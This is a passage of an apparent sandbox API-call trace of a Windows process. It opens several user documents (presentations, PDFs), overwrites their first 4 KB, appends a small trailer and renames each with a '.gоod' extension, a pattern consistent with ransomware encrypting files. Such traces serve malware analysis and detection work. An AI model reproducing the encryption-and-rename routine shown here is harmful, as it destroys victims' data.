lpNumberOfBytesRead=0x1f9ed278, lpOverlapped=0x0 | out: lpBuffer=0x3d81e38*, lpNumberOfBytesRead=0x1f9ed278*=0x1000, lpOverlapped=0x0) returned 1 [0256.622] CloseHandle (hObject=0x85c) returned 1 [0256.622] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\6i_jMqwKY1ZW1BuCj.ots", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\6i_jMqwKY1ZW1BuCj.ots", lpFilePart=0x0) returned 0x44 [0256.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0256.623] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\6i_jMqwKY1ZW1BuCj.ots" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\6i_jmqwky1zw1bucj.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0256.623] GetFileType (hFile=0x85c) returned 0x1 [0256.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0256.623] GetFileType (hFile=0x85c) returned 0x1 [0256.623] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0xfaf8 [0256.623] WriteFile (in: hFile=0x85c, lpBuffer=0x3d830e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ed198, lpOverlapped=0x0 | out: lpBuffer=0x3d830e0*, lpNumberOfBytesWritten=0x1f9ed198*=0x10, lpOverlapped=0x0) returned 1 [0256.623] CloseHandle (hObject=0x85c) returned 1 [0256.623] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\6i_jMqwKY1ZW1BuCj.ots", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\6i_jMqwKY1ZW1BuCj.ots", lpFilePart=0x0) returned 0x44 [0256.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0256.623] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\6i_jMqwKY1ZW1BuCj.ots" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\6i_jmqwky1zw1bucj.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0256.623] GetFileType (hFile=0x85c) returned 0x1 [0256.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0256.623] GetFileType (hFile=0x85c) returned 0x1 [0256.624] ReadFile (in: hFile=0x85c, lpBuffer=0x3d853b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed228, lpOverlapped=0x0 | out: lpBuffer=0x3d853b0*, lpNumberOfBytesRead=0x1f9ed228*=0x1000, lpOverlapped=0x0) returned 1 [0257.033] CloseHandle (hObject=0x85c) returned 1 [0257.033] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\6i_jMqwKY1ZW1BuCj.ots", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\6i_jMqwKY1ZW1BuCj.ots", lpFilePart=0x0) returned 0x44 [0257.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0257.033] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\6i_jMqwKY1ZW1BuCj.ots" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\6i_jmqwky1zw1bucj.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0257.033] GetFileType (hFile=0x85c) returned 0x1 [0257.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0257.033] GetFileType (hFile=0x85c) returned 0x1 [0257.033] WriteFile (in: hFile=0x85c, lpBuffer=0x3ba8588*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ed2d8, lpOverlapped=0x0 | out: lpBuffer=0x3ba8588*, lpNumberOfBytesWritten=0x1f9ed2d8*=0x1010, lpOverlapped=0x0) returned 1 [0257.033] CloseHandle (hObject=0x85c) returned 1 [0257.034] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\6i_jMqwKY1ZW1BuCj.ots", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\6i_jMqwKY1ZW1BuCj.ots", lpFilePart=0x0) returned 0x44 [0257.034] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\6i_jMqwKY1ZW1BuCj.ots.gоod", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\6i_jMqwKY1ZW1BuCj.ots.gоod", lpFilePart=0x0) returned 0x49 [0257.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed210) returned 1 [0257.034] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\6i_jMqwKY1ZW1BuCj.ots" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\6i_jmqwky1zw1bucj.ots"), fInfoLevelId=0x0, lpFileInformation=0x1f9ed2f0 | out: lpFileInformation=0x1f9ed2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x658a1830, ftCreationTime.dwHighDateTime=0x1d4ced2, ftLastAccessTime.dwLowDateTime=0xe6badb0, ftLastAccessTime.dwHighDateTime=0x1d4d45a, ftLastWriteTime.dwLowDateTime=0x956a6e17, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xfb08)) returned 1 [0257.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed1d0) returned 1 [0257.034] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\6i_jMqwKY1ZW1BuCj.ots" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\6i_jmqwky1zw1bucj.ots"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\6i_jMqwKY1ZW1BuCj.ots.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\6i_jmqwky1zw1bucj.ots.gоod")) returned 1 [0257.035] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\93AinYxmNyP.pptx", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\93AinYxmNyP.pptx", lpFilePart=0x0) returned 0x3f [0257.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0257.035] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\93AinYxmNyP.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\93ainyxmnyp.pptx"), fInfoLevelId=0x0, lpFileInformation=0x3e6fe48 | out: lpFileInformation=0x3e6fe48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a0dd360, ftCreationTime.dwHighDateTime=0x1d4c9e8, ftLastAccessTime.dwLowDateTime=0x68d92e20, ftLastAccessTime.dwHighDateTime=0x1d4c6b9, ftLastWriteTime.dwLowDateTime=0x68d92e20, ftLastWriteTime.dwHighDateTime=0x1d4c6b9, nFileSizeHigh=0x0, nFileSizeLow=0x146b0)) returned 1 [0257.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0257.035] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\93AinYxmNyP.pptx", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\93AinYxmNyP.pptx", lpFilePart=0x0) returned 0x3f [0257.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0257.035] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\93AinYxmNyP.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\93ainyxmnyp.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0257.035] GetFileType (hFile=0x85c) returned 0x1 [0257.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0257.035] GetFileType (hFile=0x85c) returned 0x1 [0257.035] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0x1000 [0257.036] ReadFile (in: hFile=0x85c, lpBuffer=0x3e70250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed278, lpOverlapped=0x0 | out: lpBuffer=0x3e70250*, lpNumberOfBytesRead=0x1f9ed278*=0x1000, lpOverlapped=0x0) returned 1 [0257.036] CloseHandle (hObject=0x85c) returned 1 [0257.036] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\93AinYxmNyP.pptx", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\93AinYxmNyP.pptx", lpFilePart=0x0) returned 0x3f [0257.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0257.036] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\93AinYxmNyP.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\93ainyxmnyp.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0257.036] GetFileType (hFile=0x85c) returned 0x1 [0257.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0257.036] GetFileType (hFile=0x85c) returned 0x1 [0257.036] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0x146b0 [0257.036] WriteFile (in: hFile=0x85c, lpBuffer=0x3e714e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ed198, lpOverlapped=0x0 | out: lpBuffer=0x3e714e0*, lpNumberOfBytesWritten=0x1f9ed198*=0x10, lpOverlapped=0x0) returned 1 [0257.036] CloseHandle (hObject=0x85c) returned 1 [0257.037] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\93AinYxmNyP.pptx", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\93AinYxmNyP.pptx", lpFilePart=0x0) returned 0x3f [0257.037] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0257.037] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\93AinYxmNyP.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\93ainyxmnyp.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0257.037] GetFileType (hFile=0x85c) returned 0x1 [0257.037] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0257.037] GetFileType (hFile=0x85c) returned 0x1 [0257.037] ReadFile (in: hFile=0x85c, lpBuffer=0x3e73798, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed228, lpOverlapped=0x0 | out: lpBuffer=0x3e73798*, lpNumberOfBytesRead=0x1f9ed228*=0x1000, lpOverlapped=0x0) returned 1 [0259.932] CloseHandle (hObject=0x85c) returned 1 [0259.932] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\93AinYxmNyP.pptx", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\93AinYxmNyP.pptx", lpFilePart=0x0) returned 0x3f [0259.932] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0259.932] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\93AinYxmNyP.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\93ainyxmnyp.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0259.932] GetFileType (hFile=0x85c) returned 0x1 [0259.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0259.933] GetFileType (hFile=0x85c) returned 0x1 [0259.933] WriteFile (in: hFile=0x85c, lpBuffer=0x35090e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ed2d8, lpOverlapped=0x0 | out: lpBuffer=0x35090e0*, lpNumberOfBytesWritten=0x1f9ed2d8*=0x1010, lpOverlapped=0x0) returned 1 [0259.933] CloseHandle (hObject=0x85c) returned 1 [0259.933] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\93AinYxmNyP.pptx", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\93AinYxmNyP.pptx", lpFilePart=0x0) returned 0x3f [0259.933] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\93AinYxmNyP.pptx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\93AinYxmNyP.pptx.gоod", lpFilePart=0x0) returned 0x44 [0259.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed210) returned 1 [0259.933] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\93AinYxmNyP.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\93ainyxmnyp.pptx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ed2f0 | out: lpFileInformation=0x1f9ed2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a0dd360, ftCreationTime.dwHighDateTime=0x1d4c9e8, ftLastAccessTime.dwLowDateTime=0x68d92e20, ftLastAccessTime.dwHighDateTime=0x1d4c6b9, ftLastWriteTime.dwLowDateTime=0x9725140f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x146c0)) returned 1 [0259.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed1d0) returned 1 [0259.933] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\93AinYxmNyP.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\93ainyxmnyp.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\93AinYxmNyP.pptx.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\93ainyxmnyp.pptx.gоod")) returned 1 [0259.934] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\f5XOXM8S7R 948aF.pdf", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\f5XOXM8S7R 948aF.pdf", lpFilePart=0x0) returned 0x43 [0259.934] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0259.934] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\f5XOXM8S7R 948aF.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\f5xoxm8s7r 948af.pdf"), fInfoLevelId=0x0, lpFileInformation=0x3976228 | out: lpFileInformation=0x3976228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57e7d270, ftCreationTime.dwHighDateTime=0x1d4d289, ftLastAccessTime.dwLowDateTime=0x5ed29e40, ftLastAccessTime.dwHighDateTime=0x1d4d39b, ftLastWriteTime.dwLowDateTime=0x5ed29e40, ftLastWriteTime.dwHighDateTime=0x1d4d39b, nFileSizeHigh=0x0, nFileSizeLow=0x1447b)) returned 1 [0259.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0259.934] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\f5XOXM8S7R 948aF.pdf", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\f5XOXM8S7R 948aF.pdf", lpFilePart=0x0) returned 0x43 [0259.934] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0259.934] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\f5XOXM8S7R 948aF.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\f5xoxm8s7r 948af.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0259.934] GetFileType (hFile=0x85c) returned 0x1 [0259.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0259.935] GetFileType (hFile=0x85c) returned 0x1 [0259.935] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0x1000 [0259.935] ReadFile (in: hFile=0x85c, lpBuffer=0x3976650, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed278, lpOverlapped=0x0 | out: lpBuffer=0x3976650*, lpNumberOfBytesRead=0x1f9ed278*=0x1000, lpOverlapped=0x0) returned 1 [0259.935] CloseHandle (hObject=0x85c) returned 1 [0259.935] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\f5XOXM8S7R 948aF.pdf", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\f5XOXM8S7R 948aF.pdf", lpFilePart=0x0) returned 0x43 [0259.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0259.935] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\f5XOXM8S7R 948aF.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\f5xoxm8s7r 948af.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0259.935] GetFileType (hFile=0x85c) returned 0x1 [0259.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0259.935] GetFileType (hFile=0x85c) returned 0x1 [0259.935] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0x1447b [0259.935] WriteFile (in: hFile=0x85c, lpBuffer=0x39778f0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ed198, lpOverlapped=0x0 | out: lpBuffer=0x39778f0*, lpNumberOfBytesWritten=0x1f9ed198*=0x10, lpOverlapped=0x0) returned 1 [0259.935] CloseHandle (hObject=0x85c) returned 1 [0259.936] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\f5XOXM8S7R 948aF.pdf", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\f5XOXM8S7R 948aF.pdf", lpFilePart=0x0) returned 0x43 [0259.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0259.936] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\f5XOXM8S7R 948aF.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\f5xoxm8s7r 948af.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0259.936] GetFileType (hFile=0x85c) returned 0x1 [0259.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0259.936] GetFileType (hFile=0x85c) returned 0x1 [0259.936] ReadFile (in: hFile=0x85c, lpBuffer=0x3979bb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed228, lpOverlapped=0x0 | out: lpBuffer=0x3979bb8*, lpNumberOfBytesRead=0x1f9ed228*=0x1000, lpOverlapped=0x0) returned 1 [0260.105] CloseHandle (hObject=0x85c) returned 1 [0260.105] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\f5XOXM8S7R 948aF.pdf", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\f5XOXM8S7R 948aF.pdf", lpFilePart=0x0) returned 0x43 [0260.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0260.105] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\f5XOXM8S7R 948aF.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\f5xoxm8s7r 948af.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0260.105] GetFileType (hFile=0x85c) returned 0x1 [0260.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0260.105] GetFileType (hFile=0x85c) returned 0x1 [0260.105] WriteFile (in: hFile=0x85c, lpBuffer=0x37df170*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ed2d8, lpOverlapped=0x0 | out: lpBuffer=0x37df170*, lpNumberOfBytesWritten=0x1f9ed2d8*=0x1010, lpOverlapped=0x0) returned 1 [0260.105] CloseHandle (hObject=0x85c) returned 1 [0260.106] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\f5XOXM8S7R 948aF.pdf", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\f5XOXM8S7R 948aF.pdf", lpFilePart=0x0) returned 0x43 [0260.106] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\f5XOXM8S7R 948aF.pdf.gоod", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\f5XOXM8S7R 948aF.pdf.gоod", lpFilePart=0x0) returned 0x48 [0260.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed210) returned 1 [0260.106] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\f5XOXM8S7R 948aF.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\f5xoxm8s7r 948af.pdf"), fInfoLevelId=0x0, lpFileInformation=0x1f9ed2f0 | out: lpFileInformation=0x1f9ed2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57e7d270, ftCreationTime.dwHighDateTime=0x1d4d289, ftLastAccessTime.dwLowDateTime=0x5ed29e40, ftLastAccessTime.dwHighDateTime=0x1d4d39b, ftLastWriteTime.dwLowDateTime=0x973f4c93, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1448b)) returned 1 [0260.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed1d0) returned 1 [0260.106] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\f5XOXM8S7R 948aF.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\f5xoxm8s7r 948af.pdf"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\f5XOXM8S7R 948aF.pdf.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\f5xoxm8s7r 948af.pdf.gоod")) returned 1 [0260.107] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\iUf9rOt.odp", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\iUf9rOt.odp", lpFilePart=0x0) returned 0x3a [0260.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0260.107] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\xCICo7SMe0lr9Se\\iUf9rOt.odp" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\xcico7sme0lr9se\\iuf9rot.odp"), fInfoLevelId=0x0, lpFileInformation=0x382a8a0 | out: lpFileInformation=0x382a8a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d35e910, 